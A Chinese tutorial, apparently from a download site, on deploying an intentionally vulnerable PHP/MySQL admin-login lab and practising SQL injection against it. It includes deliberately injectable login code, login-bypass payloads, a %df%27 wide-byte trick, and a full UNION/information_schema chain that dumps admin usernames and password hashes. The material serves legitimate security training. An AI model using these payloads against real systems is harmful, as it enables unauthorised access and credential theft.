
简介这套MySQL后台注入靶场源码是一份面向Web安全学习者与渗透测试初学者的漏洞环境搭建包。它基于常见的PHPMySQL技术栈构建了一个带完整后台的网站可用于练习SQL注入漏洞的发现、利用与基础加固。资源共844个文件以291个PHP脚本为主要功能代码搭配251个GIF图片、106个HTML页面、67个JS脚本以及PNG、CSS、SWF等静态资源组成一个可直接部署的网站项目压缩包整体仅4.95MB非常轻量。目前已有827人学习下载适合在个人测试环境中快速还原一个有真实后台的注入靶场观察网站目录、请求流程与数据库交互方式。除核心功能外包内还附带SQL初始数据与htaccess配置文件便于理解数据表结构、访问规则和后台权限逻辑同时保留member、admin等典型功能模块可针对文件上传、SQL注入、越权访问等常见Web漏洞进行反复演练对系统掌握PHPMySQL安全测试流程很有帮助。1. mysql后台注入靶场源码到底怎么玩先把它当成一台能翻车的练手机器拿到一个mysql后台注入靶场源码.rar你首先要明白它是什么它不是一个给你“欣赏”的网站源码而是一个故意留了漏洞、放着让你打的后台登录系统。最常见的形态是一套 PHP 写的登录页面加一个 SQL 文件你在本地把它跑起来后可以用 SQL 注入的手法和它反复过招打坏了就重置完全不影响真实业务。我这几年带人练注入一个很反直觉的经验是真正拦住新手的往往不是注入手法本身而是靶场跑不起来、PHP 版本不兼容、数据库连不上这类环境问题。也就是说你得先把靶场这台“练手机器”转起来才有资格谈注入。这篇就按我平时搭靶场的顺序来讲怎么解压、怎么配环境、怎么从源码里找注入点、怎么用一条条 SQL 手工把数据带出来再把最容易翻车的几种坑挨个说清楚。适合刚入门 Web 安全、想找地方练 SQL 注入但不想拿真实站点开刀的人也适合想二次改造靶场做教学的开发者。2. 搭建前先看这三处解压结构、PHP版本、数据库导入2.1 解压后先别急着双击把目录结构认全再动手我收到这类目标压缩包第一件事不是立刻解压到网站根目录而是先在临时目录里解开整体看一眼结构。常见的后台注入靶场源码通常长这样mysql注入靶场/ ├── index.php # 后台登录入口也是你主要攻击的目标 ├── login.php # 接收表单参数并拼接 SQL 的脚本 ├── conn.php # 数据库连接文件里面摆着账密和库名 ├── admin.php # 登录成功后的页面注入成功后通常跳到这 ├── sql/ │ └── db.sql # 数据库结构 初始数据的导入脚本 └── readme.txt # 作者写的搭建说明务必先看一眼上面这个文件清单是这类源码最常见的布局不同的压缩包会改名字但骨架基本都逃不出这几样。readme.txt 里往往写了数据库名、登录账号密码、PHP 版本要求这些信息是作者留给你的钥匙不看就直接踩坑。先解压、认目录这一步的真正作用是让你知道攻击入口在哪、数据库文件在哪、配置改动点在哪。我见过不少人在源码没解压完全的情况下就把文件夹拷进网站根目录结果缺了 sql 目录数据库导不进去后台怎么都连不上还以为是注入姿势不对其实门都没进。2.2 选集成环境PHP版本是第一个门槛后台注入靶场源码绝大多数是 PHP 写的搭建环境我一般直接用集成环境一步到位装好 Apache、PHP、MySQL省去单独配三件套的折腾。但这里有个关键门槛老靶场代码几乎都用mysql_connect()连库这套旧扩展 PHP 7.0 开始就被移除了所以你直接把源码丢进高版本 PHP 环境大概率是白屏加报错。我自己的习惯是先看源码里连接文件用的什么函数再定 PHP 版本。如果是mysql_connect()就选 PHP 5.6 或更早如果是mysqli_connect()或PDOPHP 7.x 就能跑。判断方式很简单用任意编辑器打开conn.php看最顶上那行mysql_还是mysqli_开头。// conn.php 判断示例不同写法对应不同 PHP 版本红线 ?php // 写法一老式 mysql 扩展只能在 PHP 5.x 跑 $conn mysql_connect(localhost, root, 123456); // 写法二mysqli 扩展PHP 5.3 都能跑PHP 7/8 也没问题 $conn mysqli_connect(localhost, root, 123456, shequ); // 写法三PDO 方式版本兼容性最好几乎通吃 $pdo new PDO(mysql:hostlocalhost;dbnameshequ, root, 123456);选环境这事我的建议是别跟版本较劲。目标源码是老的就直接装 PHP 5.6 一套靶场跑起来最重要后面升级改造是后话。新版 PHP 环境跑老靶场报错信息里全是Call to undefined function mysql_connect()这不是注入的问题是环境不匹配的问题。把解压出来的文件夹放进集成环境的网站根目录后还要确认访问路径。如果文件夹叫sqli_lab那访问地址就是http://localhost/sqli_lab/index.php这个路径会在后面手工注入时反复用到拼 URL 时大小写和目录名必须和实际一致否则 404 你会误以为环境没配好。2.3 导入数据库与改配置后台连不上的八成是这步源码里的.sql文件就是整个靶场的数据大厦不导入它登录页面就只是一张空壳。导入方式我推荐用图形化管理工具比如集成环境自带的 phpMyAdmin因为它能让你直观地看到导入是否成功、表是否建好。用命令行导入的姿势也一并给出来适合已经习惯终端操作的人# 先建库再导入库名要与源码 config 里的 dbname 一致 mysql -u root -p # 输入密码后执行 CREATE DATABASE shequ DEFAULT CHARACTER SET utf8; USE shequ; SOURCE /path/to/sql/db.sql;如果用图形工具操作顺序是一样的新建一个数据库字符集选utf8或源码指定的编码比如gbk然后把 db.sql 整个导入。导完后在表列表里应该能看到几张表名字可能是什么admin、users、news之类其中admin表里的账号密码就是后台登录用的凭证。导入只是第一步接下来必须改conn.php里的连接参数。这里我有过一次血泪教训靶场源码里默认的数据库密码是root而我本机 MySQL 密码不是这个导致登录页面提交任何账号都提示“数据库连接失败”。所以拿到源码后第一件事就是打开conn.php把下面这行里的账密换成你本机真实的账密。// conn.php 里要重点核对的三项地址、账号、密码再加一个库名 $dbhost localhost; // 多数集成环境不需要改保持 localhost $dbuser root; // MySQL 登录账号 $dbpass 你的密码; // 改成你本机真实密码不是源码默认值 $dbname shequ; // 要和导入 SQL 时的库名完全一致这几项改不对后面所有注入测试都会卡在“登录失败”的假象里。一个快速验证环境是否搭好的办法直接访问index.php能看到登录框说明 PHP 和文件路径没问题随便输个账号密码提交如果返回“用户名或密码错误”这类业务提示说明数据库连接也通了这时候靶场才真正进入了可打状态。环境通了下一步就是回去看代码找到那个致命的拼接点。3. 从登录框追到SQL语句三种注入成因一眼看破3.1 按图索骥从表单 action 找到处理脚本浏览器里看到的登录框只是前端皮囊真正的漏洞在服务端处理逻辑里。我的做法是直接在浏览器里右键查看页面源码找到form标签的action属性它指到哪个文件攻击入口就在哪。比如表单提交到login.php那login.php里那段接收$_POST[username]并拼进 SQL 的代码就是你要盯着看的位置。一个典型的靶场注入代码如下这几乎是老式后台登录代码的标准模板// login.php 漏洞核心用户输入未经任何过滤直接拼进 SQL ?php session_start(); require_once(conn.php); $username $_POST[username]; $password $_POST[password]; // 直接拼接的 SQL典型字符型注入点 $sql SELECT * FROM admin WHERE username $username AND password $password; $result mysql_query($sql); if (mysql_num_rows($result) 0) { $_SESSION[admin] $username; echo 登录成功欢迎 . $username; } else { echo 用户名或密码错误; } ?这段代码的问题一眼就能看出来$_POST[username]没做任何过滤或参数化处理直接被双引号扩进的 SQL 字符串里。你在用户名框输入一个包含单引号的字符串SQL 语句的结构就会被改写比如输入admin or 11拼接后整条语句变成了WHERE username admin or 11 AND password ...由于or优先级导致整个条件恒真登录就被绕过了。看这类靶场源码我一般会顺着三条线走一遍参数怎么接收的$_GET还是$_POST、有没有过滤函数addslashes()、stripslashes()、SQL 是拼接还是预处理。大多数靶场故意在中间某个环节放水你要做的就是把“水”找出来。3.2 字符型注入的闭合判断单引号是分水岭后台登录注入九成是字符型注入因为条件语句里的值通常用单引号包着。判断是不是字符型方法特别简单在用户名框输入一个单引号提交如果页面报错、白屏、或者返回内容和之前不一样说明你的输入确实进入了 SQL 语句并且单引号破坏了原本的语法结构——这就是注入存在的信号。闭合方式决定了你后续 payload 怎么构造。两类最常见的闭合单引号闭合WHERE username $name输入admin #就能把后面的密码条件注释掉。双引号闭合WHERE username $name输入admin #才能绕过。判断到底哪种闭合最直接的办法是看后端源码。如果不想看代码就在输入框里交替试单引号和双引号观察哪种让页面报错。靶场里的账号密码一般默认是admin/admin这类弱口令这也是你验证注入有没有成功的参照物。-- 闭合测试三种典型 payload admin -- - -- 单引号闭合注释掉后续条件 admin # -- MySQL 里 # 是注释符和老写法 -- - 效果一样 admin or 11 -- 不依赖注释符靠 or 改判断逻辑兼容性最好这三种 payload 里or 11最值得新手掌握因为它不需要注释符也不依赖数据库版本对注释的处理差异。在靶场里用它成功登录说明闭合判断和注入思路都对了接下来就能上联合查询拿数据。3.3 宽字节注入编码不统一才会有的特定坑如果源码里对参数做了addslashes()过滤普通的单引号会被转义成\前面的直接闭合就失效了。这时候靶场如果还用了 GBK 编码就引入了宽字节注入这条老路。原理是MySQL 在 GBK 编码下一个汉字占两个字节而addslashes产生的\是0x5c如果攻击者在单引号前追加一个%df%df和%5c会拼成一个合法的汉字字符转义符就被“吃”掉了单引号成功逃逸。触发宽字节注入需要两个条件同时成立PHP 层用了addslashes()或mysql_real_escape_string()做转义且 MySQL 连接字符集是gbk。只有满足这两点你喂%df%27才有意义如果连接字符集是utf8宽字节这条路就走不通得换思路。// 宽字节注入的温床转义函数 GBK 连接字符集 ?php $username addslashes($_POST[username]); // 单引号被转义成 \ // 连接数据库后设置字符集 mysql_query(SET NAMES gbk); // 转义符 0x5c 与 %df 拼成汉字 // 攻击者输入 %df%27数据库端看到的是一个汉字 一个逃逸出来的单引号 $sql SELECT * FROM admin WHERE username $username; ?这段代码展示了宽字节注入为什么能穿透addslashes()。靶场源码里如果看到SET NAMES gbk这行立刻就该意识到这不是普通拼接而是宽字节注入的练习点。构造 payload 时用%df%27或者%bf%27都能起到吃转义符的效果但字符集必须是gbk否则数据库解析方式不同payload 只会变成乱码。遇到编码类问题我会习惯性地去conn.php或建表语句里确认字符集定义。很多靶场源码在连接后只写了SET NAMES utf8却用 GBK 建表这种前后不一致最容易让新手在宽字节注入上反复试错却毫无结果。看准了再打比盲试几十个 payload 高效得多。4. 手工注入从闭合到脱库一条一条SQL试出来的完整流程4.1 第一步用 order by 摸清字段数闭合判断通了下一步就是用order by探字段数。原理是ORDER BY后面跟的数字超过查询字段总数时MySQL 会报错Unknown column N in order clause。在用户名框里输入闭合符加order by N不断调整 N从 1 开始往上加直到报错为止报错前的那个数字就是字段数。我习惯用二分法试先order by 10如果正常说明大于等于 10再order by 20如果报错说明在 10 到 20 之间再取中间值试几轮就能锁定。靶场表结构一般就 3 到 5 个字段不需要试多少次。-- 假设已确认单引号闭合admin 后加注释符 admin order by 1 # -- 正常 admin order by 2 # -- 正常 admin order by 3 # -- 正常 admin order by 4 # -- 报错说明字段数是 3 -- 顺便看一眼报错原文确认闭合方式没判断错 -- 如果 order by 1 就报错说明闭合符不是单引号回去重试双引号这一步能确认两件事闭合符对不对以及查询返回的字段数量。字段数决定了下一步union select里要填几个位置少填一个或多填一个都会导致 union 失败这是新手高频翻车点。注意#在 URL 里会被当作锚点不发送如果通过 GET 方式测试记得把#换成%23或者干脆用-- -后面加个空格当注释符。4.2 第二步用 union select 定位显示位字段数拿到后用union select 1,2,3N 个数字把查询结果和原有查询结果合并观察页面上哪个数字回显出来了那个位置就是可以显示数据的位置。对后台登录靶场来说页面回显通常出现在“登录成功”提示或欢迎语里有时候还会把查询到的用户名显示出来。-- 假设字段数为 3构造 union 注入 admin union select 1,2,3 # -- 如果页面显示了 2说明第二个位置是显示位 -- 接着把 2 换成你要查的内容 admin union select 1,user(),3 #定位显示位这一步最关键的是让联合查询的前半部分返回空。具体做法是把admin改成一个不存在的用户名一般用-1或者xx开头让原始查询查不到任何行这样union后半段的查询结果就会直接占据回显位置。如果原始查询返回了数据union 默认只显示第一行结果你的注入内容就被官方数据遮住了。显示位可能有多个不同位置的回显用途一样挑最顺眼的用就行。这一步做完你已经拿到了“在页面上显示任意 SQL 执行结果”的能力接下来就是查数据库元信息了。4.3 第三步爆库名、表名、字段名的标准 SQL 链显示位在手脱库的流程基本就是标准套路先拿当前数据库名再枚举所有表接着拆出目标表的字段最后取数据。每一步都有对应的 information_schema 查询语句。-- 第 1 步查当前数据库名 admin union select 1,database(),3 # -- 第 2 步查当前库下的所有表 admin union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase() # -- 第 3 步查指定表比如 admin的所有字段 admin union select 1,group_concat(column_name),3 from information_schema.columns where table_nameadmin # -- 第 4 步把字段下的数据全部带出来 admin union select 1,group_concat(username,0x3a,password),3 from admin #这四条语句构成了完整的注入链。其中group_concat能把多行结果拼成一行输出解决显示位只能展示一条记录的限制0x3a是冒号的十六进制用来分隔用户名和密码比直接写单引号更稳妥因为 payload 里的引号可能被过滤。第 4 步如果表名、字段名都正确密码一般是 MD5 哈希拿到后丢到在线解密或本地跑字典就行。手工注入做到这一步后台登录靶场已经被彻底打穿。但别高兴太早我在实战里见过不少人在第 2 步或第 3 步卡住表名爆出来了字段爆不出来或者数据全是空——这是下一章要专门处理的排查问题。流程本身不难难的是在异常回显里判断哪里断了。5. 靶场注入最常翻车的6个排查点现象、原因、解决排查点典型现象大概率原因PHP 报错没开注入后页面空白无回显display_errors 为 Offunion 回显空白页面正常但看不到数字原始查询有返回值宽字节无效%df%27 被当乱码连接字符集不是 GBKPHP 版本白屏全部页面打不开老代码跑在新版 PHP表爆不出库名有但表名为空information_schema 权限或拼写问题sqlmap 跑不通工具扫不出注入点请求方式或 Cookie 不一致5.1 提交单引号页面没反应先看报错是否被吞了现象是提交admin后页面完全不报错也没有任何变化和提交正常账号看着一样。这时候大部分人容易怀疑注入点不存在但更常见的原因是display_errors被关闭了SQL 报错被 PHP 吞掉页面只显示空白或原页面。解决方法是先打开后端报错显示在index.php或login.php文件最顶部加两行调试代码。如果没有权限改源码就用数据库工具直接执行同样的查询语句在 MySQL 命令行里验证单引号是否报错。判断注入点是否存在有时候在数据库客户端试比在网页试更直接。5.2 后台能进但 union 回显空白显示位和字段数不对现象是union select 1,2,3提交后页面没有出现数字只在正常登录成功后显示数据。这类情况通常是原始查询返回了行union 结果被压住或者是字段数猜错union 前后列数不一致导致语句报错且无回显。解决方法是把前面的admin改成-1或xx让原始查询落空再试union select。如果改了前缀还是没回显用order by重新数一次字段数确认数字没数错。5.3 宽字节注入喂了 %df%27 却失效连接字符集没对上现象是宽字节 payload 打进去后页面没有任何注入成功的迹象或者返回乱码。原因多半是conn.php里把字符集设成了utf8而宽字节注入必须依赖gbk连接字符集。解决方法是先看代码确认SET NAMES后面的参数如果是utf8就不要硬试宽字节同时确认建表语句里的 DEFAULT CHARSET 也是gbk两端都是 GBK 才能生效。很多靶场源码在导出 SQL 时会把建表语句写成DEFAULT CHARSETutf8这属于打包失误不是你的注入姿势有问题。5.4 PHP 版本太高直接白屏mysql 扩展早就没了现象是访问任何 PHP 页面都白屏或直接下载集成环境日志里报Call to undefined function mysql_connect()。原因从 PHP 7.0 开始mysql扩展被彻底移除老靶场的连接代码没法在高版本里运行。解决方法是切换集成环境的 PHP 版本到 5.6或更低或者把mysql_connect改写成mysqli_connect并调整传参方式——但改代码的工程量可能比换版本更大。这个坑几乎每个玩老靶场的人都会遇到属于环境适配问题跟注入技术无关。5.5 库名出来了表名爆不出来权限和大小写问题现象是database()正常回显但group_concat(table_name)结果是 NULL页面上什么都不显示。常见原因有两个当前 MySQL 用户没有information_schema.tables的读权限少见于本地靶场或者 SQL 语句里table_schemadatabase()的写法在大小写敏感配置下匹配失败。解决方法是先试写死库名比如where table_schemashequ避免依赖函数返回值再确认你对 information_schema 有权限。这一步排查时优先怀疑大小写和引号嵌套的问题靶场源码里的库名通常是小写别在语句里写成大写。5.6 手工能通但 sqlmap 跑不出注入点请求要带 Cookie现象是手工注入完全成功但用 sqlmap 自动化扫描时一直提示没有找到注入点。原因很可能是靶场的登录逻辑依赖会话状态而 sqlmap 默认发起的请求是无状态的没有携带登录后的 Cookie导致每次注入都被重定向到登录页。解决方法是先在浏览器里手工登录一次拿到 Cookie 或完整请求包再用 sqlmap 的-H参数或者直接从代理工具里复制请求文本。对靶场测试来说我会建议先把手工流程走通再上工具工具自动化能帮你确认姿势但永远替代不了你对手法本身的理解。6. 给靶场加个回显点把黑匣子变成可见的验证环境这个靶场用久了你会遇到一个问题登录页面的回显位置有限很多 SQL 查询结果看不全尤其是数据包里有换行或特殊字符时页面经常只显示部分内容。我的做法是直接改源码给靶场加一个调试回显点让每次注入的 SQL 语句和查询结果都完整展示出来。这不算作弊而是把黑匣子变成玻璃盒子练习效率会高出不少。在login.php的登录成功分支里加几行临时输出代码把当前执行的 SQL 和查询结果行数打出来。这样你提交的每一个 payload 会不会语法报错、有没有命中数据全部一目了然。// login.php 临时加的回显调试代码练完记得删 if (mysql_num_rows($result) 0) { // 调试专用把拼接出来的完整 SQL 打到页面上 echo !-- DEBUG SQL: . htmlspecialchars($sql) . --; // 调试专用把所有字段值原样输出方便核对注入结果 $row mysql_fetch_array($result); echo !-- DEBUG DATA: . htmlspecialchars(implode( | , $row)) . --; $_SESSION[admin] $username; echo 登录成功欢迎 . $username; }加了这段之后每次提交注入 payload页面源码里都会出现完整的 SQL 语句你能直接看到单引号有没有被转义、注释符有没有生效、union 查询的列数对不对。这样做的价值在于很多注入失败的原因肉眼根本看不见比如某个过滤函数在你没注意到的地方把引号转义了但 SQL 注释一打出来问题立刻现形。另一个我常用的改造是加一个“重置靶场”按钮本质是一段 SQL 重置脚本把 admin 表的数据恢复到初始状态。新手练习时很容易把管理员密码改得乱七八糟没有了重置能力就只能重导数据库有了按钮一键还原练习效率完全不同。做法是在 admin.php 里加一个链接指向 reset.php里面执行TRUNCATE admin再重新插入初始数据。这些源码改造技能本质上和注入手法是同一枚硬币的两面你能看懂漏洞才能给靶场加功能而给靶场加功能的过程又反过来加深你对漏洞成因的理解。我现在每拿到一个新靶场第一件事就是先改出一套干净的回显点再开始注入测试——这个习惯帮我省掉了至少一半的无用功。希望你也能从这个思路里受益动手试试这套流程应该能帮你少走不少弯路。本文还有配套的精品资源点击获取